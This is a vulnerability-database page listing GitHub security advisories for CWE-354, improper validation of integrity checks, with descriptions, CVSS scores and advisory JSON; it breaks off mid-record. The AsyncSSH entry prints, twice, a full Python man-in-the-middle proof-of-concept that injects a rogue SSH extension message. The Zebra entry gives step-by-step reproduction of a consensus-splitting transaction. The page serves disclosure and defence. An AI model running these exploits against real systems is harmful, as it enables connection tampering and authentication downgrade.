Common Weakness Enumeration

CWE-354

Allowed

Improper Validation of Integrity Check Value

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product does not validate or incorrectly validates the integrity check values or "checksums" of a message. This may prevent it from detecting if the data has been modified or corrupted in transmission.

231 vulnerabilities reference this CWE, most recent first.

GHSA-C3Q8-2RFG-GPQV

Vulnerability from github – Published: 2022-05-24 16:53 – Updated: 2024-04-04 01:39
VLAI
Details

A security feature bypass exists when Windows incorrectly validates CAB file signatures, aka 'Windows File Signature Security Feature Bypass Vulnerability'.

Severity
5.5 (Medium)
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-1163"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-354"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-08-14T21:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A security feature bypass exists when Windows incorrectly validates CAB file signatures, aka \u0027Windows File Signature Security Feature Bypass Vulnerability\u0027.",
  "id": "GHSA-c3q8-2rfg-gpqv",
  "modified": "2024-04-04T01:39:14Z",
  "published": "2022-05-24T16:53:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-1163"
    },
    {
      "type": "WEB",
      "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1163"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-C4V2-98HC-PVH9

Vulnerability from github – Published: 2023-02-02 18:30 – Updated: 2023-02-10 18:30
VLAI
Details

The use of the cyclic redundancy check (CRC) algorithm for integrity check during firmware update makes Ubiquiti airFiber AF2X Radio firmware version 3.2.2 and earlier vulnerable to firmware modification attacks. An attacker can conduct a man-in-the-middle (MITM) attack to modify the new firmware image and bypass the checksum verification.

Severity
5.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-23119"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-354"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-02-02T17:17:00Z",
    "severity": "MODERATE"
  },
  "details": "The use of the cyclic redundancy check (CRC) algorithm for integrity check during firmware update makes Ubiquiti airFiber AF2X Radio firmware version 3.2.2 and earlier vulnerable to firmware modification attacks. An attacker can conduct a man-in-the-middle (MITM) attack to modify the new firmware image and bypass the checksum verification.",
  "id": "GHSA-c4v2-98hc-pvh9",
  "modified": "2023-02-10T18:30:33Z",
  "published": "2023-02-02T18:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-23119"
    },
    {
      "type": "WEB",
      "url": "https://community.ui.com/tags/security/releases"
    },
    {
      "type": "WEB",
      "url": "https://hackmd.io/%40slASVrz_SrW7NQCsunofeA/SkYce4f5o"
    },
    {
      "type": "WEB",
      "url": "https://hackmd.io/@slASVrz_SrW7NQCsunofeA/SkYce4f5o"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-C7P4-HX26-PR73

Vulnerability from github – Published: 2025-08-07 20:55 – Updated: 2025-08-08 19:30
VLAI
Summary
JWE is missing AES-GCM authentication tag validation in encrypted JWE
Details

Overview

The authentication tag of encrypted JWEs can be brute forced, which may result in loss of confidentiality for those JWEs and provide ways to craft arbitrary JWEs.

Impact

  • JWEs can be modified to decrypt to an arbitrary value
  • JWEs can be decrypted by observing parsing differences
  • The GCM internal GHASH key can be recovered

Am I Affected?

You are affected by this vulnerability even if you do not use an AES-GCM encryption algorithm for your JWEs.

Patches

The version 1.1.1 fixes the issue by adding the tag length check for the AES-GCM algorithm.

Important: As the GHASH key could have leaked, you must rotate the encryption keys after upgrading to version 1.1.1.

References

Félix Charette talk at NorthSec 2025 about the issue

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.1.0"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "jwe"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-54887"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-354"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-07T20:55:35Z",
    "nvd_published_at": "2025-08-08T01:15:25Z",
    "severity": "CRITICAL"
  },
  "details": "### Overview\nThe authentication tag of encrypted JWEs can be brute forced, which may result in loss of confidentiality for those JWEs and provide ways to craft arbitrary JWEs.\n\n### Impact\n- JWEs can be modified to decrypt to an arbitrary value\n- JWEs can be decrypted by observing parsing differences\n- The GCM internal [GHASH key](https://en.wikipedia.org/wiki/Galois/Counter_Mode#:~:text=\\)%20is%20the-,hash%20key,-%2C%20a%20string%20of) can be recovered\n\n\n### Am I Affected?\nYou are affected by this vulnerability even if you do not use an `AES-GCM` encryption algorithm for your JWEs.\n\n### Patches\nThe version 1.1.1 fixes the issue by adding the tag length check for the `AES-GCM` algorithm.\n\n**Important:** As the [GHASH key](https://en.wikipedia.org/wiki/Galois/Counter_Mode#:~:text=\\)%20is%20the-,hash%20key,-%2C%20a%20string%20of) could have leaked, you must rotate the encryption keys after upgrading to version 1.1.1.\n\n### References\n[F\u00e9lix Charette talk at NorthSec 2025 about the issue](https://www.youtube.com/watch?v=9IT659uUXfs\u0026t=15830s)",
  "id": "GHSA-c7p4-hx26-pr73",
  "modified": "2025-08-08T19:30:00Z",
  "published": "2025-08-07T20:55:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jwt/ruby-jwe/security/advisories/GHSA-c7p4-hx26-pr73"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54887"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jwt/ruby-jwe/commit/1e719d79ba3d7aadaa39a2f08c25df077a0f9ff1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jwt/ruby-jwe"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/jwe/CVE-2025-54887.yml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "JWE is missing AES-GCM authentication tag validation in encrypted JWE"
}

GHSA-C7PH-F7JM-XV4W

Vulnerability from github – Published: 2026-02-13 20:55 – Updated: 2026-02-13 20:55
VLAI
Summary
rPGP's integrity protection of encrypted data was not always checked
Details

Summary

For some messages, rPGP returned incorrectly decrypted data without signaling that integrity protection was invalid.

Details

When decrypting SEIPD (Symmetrically Encrypted and Integrity Protected Data Packet), rPGP previously did not under all circumstances report the absence of valid integrity protection to callers of the library.

Impact

While the resulting invalid decryption output is not attacker controlled, its contents may be a security concern if an attacker can gain access to it.

Attribution

Discovered internally in the course of rPGP development work.

Severity
6.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "pgp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.16.0-alpha.0"
            },
            {
              "fixed": "0.19.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-354"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-13T20:55:20Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nFor some messages, rPGP returned incorrectly decrypted data without signaling that integrity protection was invalid.\n\n### Details\nWhen decrypting SEIPD (Symmetrically Encrypted and Integrity Protected Data Packet), rPGP previously did not under all circumstances report the absence of valid integrity protection to callers of the library.\n\n### Impact\nWhile the resulting invalid decryption output is not attacker controlled, its contents may be a security concern if an attacker can gain access to it.\n\n### Attribution\nDiscovered internally in the course of rPGP development work.",
  "id": "GHSA-c7ph-f7jm-xv4w",
  "modified": "2026-02-13T20:55:20Z",
  "published": "2026-02-13T20:55:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rpgp/rpgp/security/advisories/GHSA-c7ph-f7jm-xv4w"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rpgp/rpgp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "rPGP\u0027s integrity protection of encrypted data was not always checked"
}

GHSA-CFC2-WR2V-GXM5

Vulnerability from github – Published: 2023-11-09 18:34 – Updated: 2025-11-04 16:46
VLAI
Summary
AsyncSSH Rogue Extension Negotiation
Details

Summary

An issue in AsyncSSH v2.14.0 and earlier allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack.

Details

The rogue extension negotiation attack targets an AsyncSSH client connecting to any SSH server sending an extension info message. The attack exploits an implementation flaw in the AsyncSSH implementation to inject an extension info message chosen by the attacker and delete the original extension info message, effectively replacing it.

A correct SSH implementation should not process an unauthenticated extension info message. However, the injected message is accepted due to flaws in AsyncSSH. AsyncSSH supports the server-sig-algs and global-requests-ok extensions. Hence, the attacker can downgrade the algorithm used for client authentication by meddling with the value of server-sig-algs (e.g. use of SHA-1 instead of SHA-2).

PoC

AsyncSSH Client 2.14.0 (simple_client.py example) connecting to AsyncSSH Server 2.14.0 (simple_server.py example) ```python #!/usr/bin/python3 import socket from threading import Thread from binascii import unhexlify ##################################################################################### ## Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ## ## ## ## Client(s) tested: AsyncSSH 2.14.0 (simple_client.py example) ## ## Server(s) tested: AsyncSSH 2.14.0 (simple_server.py example) ## ## ## ## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0 ## ##################################################################################### # IP and port for the TCP proxy to bind to PROXY_IP = '127.0.0.1' PROXY_PORT = 2222 # IP and port of the server SERVER_IP = '127.0.0.1' SERVER_PORT = 22 # Length of the individual messages NEW_KEYS_LENGTH = 16 SERVER_EXT_INFO_LENGTH = 676 newkeys_payload = b'\x00\x00\x00\x0c\x0a\x15' def contains_newkeys(data): return newkeys_payload in data # Empty EXT_INFO here to keep things simple, but may also contain actual extensions like server-sig-algs rogue_ext_info = unhexlify('0000000C060700000000000000000000') def insert_rogue_ext_info(data): newkeys_index = data.index(newkeys_payload) # Insert rogue extension info and remove SSH_MSG_EXT_INFO return data[:newkeys_index] + rogue_ext_info + data[newkeys_index:newkeys_index + NEW_KEYS_LENGTH] + data[newkeys_index + NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:] def forward_client_to_server(client_socket, server_socket): try: while True: client_data = client_socket.recv(4096) if len(client_data) == 0: break server_socket.send(client_data) except ConnectionResetError: print("[!] Client connection has been reset. Continue closing sockets.") print("[!] forward_client_to_server thread ran out of data, closing sockets!") client_socket.close() server_socket.close() def forward_server_to_client(client_socket, server_socket): try: while True: server_data = server_socket.recv(4096) if contains_newkeys(server_data): print("[+] SSH_MSG_NEWKEYS sent by server identified!") if len(server_data) < NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH: print("[+] server_data does not contain all messages sent by the server yet. Receiving additional bytes until we have 692 bytes buffered!") while len(server_data) < NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH: server_data += server_socket.recv(4096) print(f"[d] Original server_data before modification: {server_data.hex()}") server_data = insert_rogue_ext_info(server_data) print(f"[d] Modified server_data with rogue extension info: {server_data.hex()}") if len(server_data) == 0: break client_socket.send(server_data) except ConnectionResetError: print("[!] Target connection has been reset. Continue closing sockets.") print("[!] forward_server_to_client thread ran out of data, closing sockets!") client_socket.close() server_socket.close() if __name__ == '__main__': print("--- Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ---") mitm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) mitm_socket.bind((PROXY_IP, PROXY_PORT)) mitm_socket.listen(5) print(f"[+] MitM Proxy started. Listening on {(PROXY_IP, PROXY_PORT)} for incoming connections...") try: while True: client_socket, client_addr = mitm_socket.accept() print(f"[+] Accepted connection from: {client_addr}") print(f"[+] Establishing new server connection to {(SERVER_IP, SERVER_PORT)}.") server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.connect((SERVER_IP, SERVER_PORT)) print("[+] Spawning new forwarding threads to handle client connection.") Thread(target=forward_client_to_server, args=(client_socket, server_socket)).start() Thread(target=forward_server_to_client, args=(client_socket, server_socket)).start() except KeyboardInterrupt: client_socket.close() server_socket.close() mitm_socket.close() ```

Impact

Algorithm downgrade during user authentication.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "asyncssh"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.14.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-46445"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345",
      "CWE-349",
      "CWE-354"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-11-09T18:34:53Z",
    "nvd_published_at": "2023-11-14T03:15:09Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nAn issue in AsyncSSH v2.14.0 and earlier allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack.\n\n### Details\n\nThe rogue extension negotiation attack targets an AsyncSSH client connecting to any SSH server sending an extension info message. The attack exploits an implementation flaw in the AsyncSSH implementation to inject an extension info message chosen by the attacker and delete the original extension info message, effectively replacing it.\n\nA correct SSH implementation should not process an unauthenticated extension info message. However, the injected message is accepted due to flaws in AsyncSSH. AsyncSSH supports the server-sig-algs and global-requests-ok extensions. Hence, the attacker can downgrade the algorithm used for client authentication by meddling with the value of server-sig-algs (e.g. use of SHA-1 instead of SHA-2).\n\n### PoC\n\n\u003cdetails\u003e\n    \u003csummary\u003eAsyncSSH Client 2.14.0 (simple_client.py example) connecting to AsyncSSH Server 2.14.0 (simple_server.py example)\u003c/summary\u003e\n\n   ```python\n    #!/usr/bin/python3\n    import socket\n    from threading import Thread\n    from binascii import unhexlify\n    \n    #####################################################################################\n    ## Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ##\n    ##                                                                                 ##\n    ## Client(s) tested: AsyncSSH 2.14.0 (simple_client.py example)                    ##\n    ## Server(s) tested: AsyncSSH 2.14.0 (simple_server.py example)                    ##\n    ##                                                                                 ##\n    ## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0    ##\n    #####################################################################################\n    \n    # IP and port for the TCP proxy to bind to\n    PROXY_IP = \u0027127.0.0.1\u0027\n    PROXY_PORT = 2222\n    \n    # IP and port of the server\n    SERVER_IP = \u0027127.0.0.1\u0027\n    SERVER_PORT = 22\n    \n    # Length of the individual messages\n    NEW_KEYS_LENGTH = 16\n    SERVER_EXT_INFO_LENGTH = 676\n    \n    newkeys_payload = b\u0027\\x00\\x00\\x00\\x0c\\x0a\\x15\u0027\n    def contains_newkeys(data):\n        return newkeys_payload in data\n    \n    # Empty EXT_INFO here to keep things simple, but may also contain actual extensions like server-sig-algs\n    rogue_ext_info = unhexlify(\u00270000000C060700000000000000000000\u0027)\n    def insert_rogue_ext_info(data):\n        newkeys_index = data.index(newkeys_payload)\n        # Insert rogue extension info and remove SSH_MSG_EXT_INFO\n        return data[:newkeys_index] + rogue_ext_info + data[newkeys_index:newkeys_index + NEW_KEYS_LENGTH] + data[newkeys_index + NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:]\n    \n    def forward_client_to_server(client_socket, server_socket):\n        try:\n            while True:\n                client_data = client_socket.recv(4096)\n                if len(client_data) == 0:\n                    break\n                server_socket.send(client_data)\n        except ConnectionResetError:\n            print(\"[!] Client connection has been reset. Continue closing sockets.\")\n        print(\"[!] forward_client_to_server thread ran out of data, closing sockets!\")\n        client_socket.close()\n        server_socket.close()\n    \n    def forward_server_to_client(client_socket, server_socket):\n        try:\n            while True:\n                server_data = server_socket.recv(4096)\n                if contains_newkeys(server_data):\n                    print(\"[+] SSH_MSG_NEWKEYS sent by server identified!\")\n                    if len(server_data) \u003c NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:\n                        print(\"[+] server_data does not contain all messages sent by the server yet. Receiving additional bytes until we have 692 bytes buffered!\")\n                    while len(server_data) \u003c NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:\n                        server_data += server_socket.recv(4096)\n                    print(f\"[d] Original server_data before modification: {server_data.hex()}\")\n                    server_data = insert_rogue_ext_info(server_data)\n                    print(f\"[d] Modified server_data with rogue extension info: {server_data.hex()}\")\n                if len(server_data) == 0:\n                    break\n                client_socket.send(server_data)\n        except ConnectionResetError:\n            print(\"[!] Target connection has been reset. Continue closing sockets.\")\n        print(\"[!] forward_server_to_client thread ran out of data, closing sockets!\")\n        client_socket.close()\n        server_socket.close()\n    \n    if __name__ == \u0027__main__\u0027:\n        print(\"--- Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ---\")\n        mitm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        mitm_socket.bind((PROXY_IP, PROXY_PORT))\n        mitm_socket.listen(5)\n    \n        print(f\"[+] MitM Proxy started. Listening on {(PROXY_IP, PROXY_PORT)} for incoming connections...\")\n    \n        try:\n            while True:\n                client_socket, client_addr = mitm_socket.accept()\n                print(f\"[+] Accepted connection from: {client_addr}\")\n                print(f\"[+] Establishing new server connection to {(SERVER_IP, SERVER_PORT)}.\")\n                server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n                server_socket.connect((SERVER_IP, SERVER_PORT))\n                print(\"[+] Spawning new forwarding threads to handle client connection.\")\n                Thread(target=forward_client_to_server, args=(client_socket, server_socket)).start()\n                Thread(target=forward_server_to_client, args=(client_socket, server_socket)).start()\n        except KeyboardInterrupt:\n            client_socket.close()\n            server_socket.close()\n            mitm_socket.close()\n  ```\n\u003c/details\u003e\n\n### Impact\n\nAlgorithm downgrade during user authentication.",
  "id": "GHSA-cfc2-wr2v-gxm5",
  "modified": "2025-11-04T16:46:51Z",
  "published": "2023-11-09T18:34:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ronf/asyncssh/security/advisories/GHSA-cfc2-wr2v-gxm5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46445"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ronf/asyncssh/commit/83e43f5ea3470a8617fc388c72b062c7136efd7e"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-cfc2-wr2v-gxm5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/asyncssh/PYSEC-2023-237.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ronf/asyncssh"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ronf/asyncssh/blob/develop/docs/changes.rst"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/09/msg00042.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ME34ROZWMDK5KLMZKTSA422XVJZ7IMTE"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20231222-0001"
    },
    {
      "type": "WEB",
      "url": "https://www.terrapin-attack.com"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/176280/Terrapin-SSH-Connection-Weakening.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AsyncSSH Rogue Extension Negotiation"
}

GHSA-CFW4-VHM2-M225

Vulnerability from github – Published: 2022-05-24 17:36 – Updated: 2022-05-24 17:36
VLAI
Details

An issue was discovered on D-Link DSR-250 3.17 devices. Insufficient validation of configuration file checksums could allow a remote, authenticated attacker to inject arbitrary crontab entries into saved configurations before uploading. These entries are executed as root.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-25758"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-354"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-12-15T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered on D-Link DSR-250 3.17 devices. Insufficient validation of configuration file checksums could allow a remote, authenticated attacker to inject arbitrary crontab entries into saved configurations before uploading. These entries are executed as root.",
  "id": "GHSA-cfw4-vhm2-m225",
  "modified": "2022-05-24T17:36:28Z",
  "published": "2022-05-24T17:36:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-25758"
    },
    {
      "type": "WEB",
      "url": "https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10195"
    },
    {
      "type": "WEB",
      "url": "https://www.digitaldefense.com/news/zero-day-vuln-d-link-vpn-routers"
    },
    {
      "type": "WEB",
      "url": "https://www.dlink.com/en/security-bulletin"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-CG6J-GW4M-CW76

Vulnerability from github – Published: 2026-04-02 15:31 – Updated: 2026-04-02 15:31
VLAI
Details

SzafirHost downloads necessary files in the context of the initiating web page. When called, SzafirHost updates its dynamic library. JAR files are correctly verified based on a list of trusted file hashes, and if a file was not on that list, it was checked to see if it had been digitally signed by the vendor. The application doesn't verify hash or vendor's digital signature of uploaded DLL, SO, JNILIB or DYLIB file. The attacker can provide malicious file which will be saved in users /temp folder and executed by the application.

This issue was fixed in version 1.1.0.

Severity
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-26928"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-354"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-02T14:16:26Z",
    "severity": "HIGH"
  },
  "details": "SzafirHost\u00a0downloads necessary files in the context of the initiating web page.\u00a0When called, SzafirHost updates its dynamic library. JAR files are correctly verified based on a list of trusted file hashes, and if a file was not on that list, it was checked to see if it had been digitally signed by the vendor. The application doesn\u0027t verify hash or vendor\u0027s digital signature of uploaded\u00a0DLL, SO, JNILIB or DYLIB file. The attacker can provide malicious file which will be saved in users /temp folder\u00a0and executed by the application.\n\nThis issue was fixed in version 1.1.0.",
  "id": "GHSA-cg6j-gw4m-cw76",
  "modified": "2026-04-02T15:31:39Z",
  "published": "2026-04-02T15:31:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26928"
    },
    {
      "type": "WEB",
      "url": "https://cert.pl/posts/2026/04/CVE-2026-26927"
    },
    {
      "type": "WEB",
      "url": "https://www.elektronicznypodpis.pl"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-CWFQ-RFCR-8HMP

Vulnerability from github – Published: 2026-05-07 21:02 – Updated: 2026-05-07 21:02
VLAI
Summary
Zebra's Transparent SIGHASH_SINGLE Handling Diverges from zcashd for Corresponding Outputs
Details

Zebra Transparent SIGHASH_SINGLE Corresponding-Output Handling Diverges From zcashd

Summary

For V5+ transparent spends, Zebra and zcashd disagree on the same consensus rule: SIGHASH_SINGLE must fail when the input index has no corresponding output. zcashd treats this as consensus-invalid under ZIP-244, while Zebra's transparent verification path computes a digest for the missing-output case instead of failing.

The result is a direct block-validity split. A malformed V5 transparent transaction can be accepted by Zebra, retained in Zebra's mempool, selected into Zebra getblocktemplate, mined into a block, and then rejected by zcashd.

Details

Validated code revisions used during analysis:

  • zcashd: 2c63e9aa08cb170b0feb374161bea94720c3e1f5
  • Zebra: a905fa19e3a91c7b4ead331e2709e6dec5db12cb

Scope note:

  • earlier triage material grouped pre-V5 and V5 behavior together;
  • re-execution on the pinned revisions did not reproduce the claimed pre-V5 / V4 reject-side behavior;
  • this advisory therefore covers the V5+ / ZIP-244 variant only.

zcashd side:

  • Transparent scripts in blocks are checked through TransactionSignatureChecker::CheckSig() and SignatureHash(): zcash/src/script/interpreter.cpp.
  • In the ZIP-244 branch, SignatureHash() explicitly throws when SIGHASH_SINGLE or SIGHASH_SINGLE|ANYONECANPAY is used with nIn >= txTo.vout.size(): zcash/src/script/interpreter.cpp.
  • CheckSig() catches that exception and returns false, causing the transparent script to fail.

Zebra side:

Why this is exploitable:

  • the malformed transaction only needs fewer transparent outputs than inputs;
  • the attacker signs the digest that Zebra computes for the missing-output case;
  • Zebra then sees a valid transparent signature, while zcashd never reaches the same digest because it fails first.

Ordinary path viability:

PoC

Validated commits:

  • zcashd: 2c63e9aa08cb170b0feb374161bea94720c3e1f5
  • Zebra: a905fa19e3a91c7b4ead331e2709e6dec5db12cb

Manual reproduction steps:

  1. Build an otherwise-valid V5 transaction with at least two transparent inputs and only one transparent output.
  2. Sign input 0 normally.
  3. Sign input 1 with canonical SIGHASH_SINGLE or SIGHASH_SINGLE|ANYONECANPAY.
  4. Use the digest returned by Zebra's ZIP-244 path, where the missing output contributes transparent_outputs_hash([]).
  5. Submit the transaction to Zebra and to zcashd.
  6. Observe:
  7. Zebra accepts it into the mempool;
  8. Zebra selects it into getblocktemplate;
  9. Zebra can mine and accept a block containing it;
  10. zcashd rejects it in the ordinary mempool path.

Impact

This is a direct V5+ transparent consensus split.

Who can trigger it:

  • an ordinary transaction author can craft the malformed V5 transparent transaction;
  • the accept-side stock path is Zebra's mempool and block-template path;
  • an external miner still has to include the transaction in a block for the split to materialize.

Who is impacted:

  • Zebra can accept and template a transaction / block that zcashd rejects;
  • this makes the issue both a consensus-divergence problem and a practical Zebra block-template safety problem.
Severity
9.2 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "zebrad"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-354",
      "CWE-573"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T21:02:30Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "# `Zebra` Transparent `SIGHASH_SINGLE` Corresponding-Output Handling Diverges From `zcashd`\n\n### Summary\nFor V5+ transparent spends, `Zebra` and `zcashd` disagree on the same consensus rule: `SIGHASH_SINGLE` must fail when the input index has no corresponding output. `zcashd` treats this as consensus-invalid under ZIP-244, while `Zebra`\u0027s transparent verification path computes a digest for the missing-output case instead of failing.\n\nThe result is a direct block-validity split. A malformed V5 transparent transaction can be accepted by `Zebra`, retained in `Zebra`\u0027s mempool, selected into `Zebra` `getblocktemplate`, mined into a block, and then rejected by `zcashd`.\n\n### Details\nValidated code revisions used during analysis:\n\n- `zcashd`: `2c63e9aa08cb170b0feb374161bea94720c3e1f5`\n- `Zebra`: `a905fa19e3a91c7b4ead331e2709e6dec5db12cb`\n\nScope note:\n\n- earlier triage material grouped pre-V5 and V5 behavior together;\n- re-execution on the pinned revisions did not reproduce the claimed pre-V5 / V4 reject-side behavior;\n- this advisory therefore covers the V5+ / ZIP-244 variant only.\n\n`zcashd` side:\n\n- Transparent scripts in blocks are checked through `TransactionSignatureChecker::CheckSig()` and `SignatureHash()`: [`zcash/src/script/interpreter.cpp`](https://github.com/zcash/zcash/blob/2c63e9aa08cb170b0feb374161bea94720c3e1f5/src/script/interpreter.cpp#L1386-L1407).\n- In the ZIP-244 branch, `SignatureHash()` explicitly throws when `SIGHASH_SINGLE` or `SIGHASH_SINGLE|ANYONECANPAY` is used with `nIn \u003e= txTo.vout.size()`: [`zcash/src/script/interpreter.cpp`](https://github.com/zcash/zcash/blob/2c63e9aa08cb170b0feb374161bea94720c3e1f5/src/script/interpreter.cpp#L1221-L1259).\n- `CheckSig()` catches that exception and returns `false`, causing the 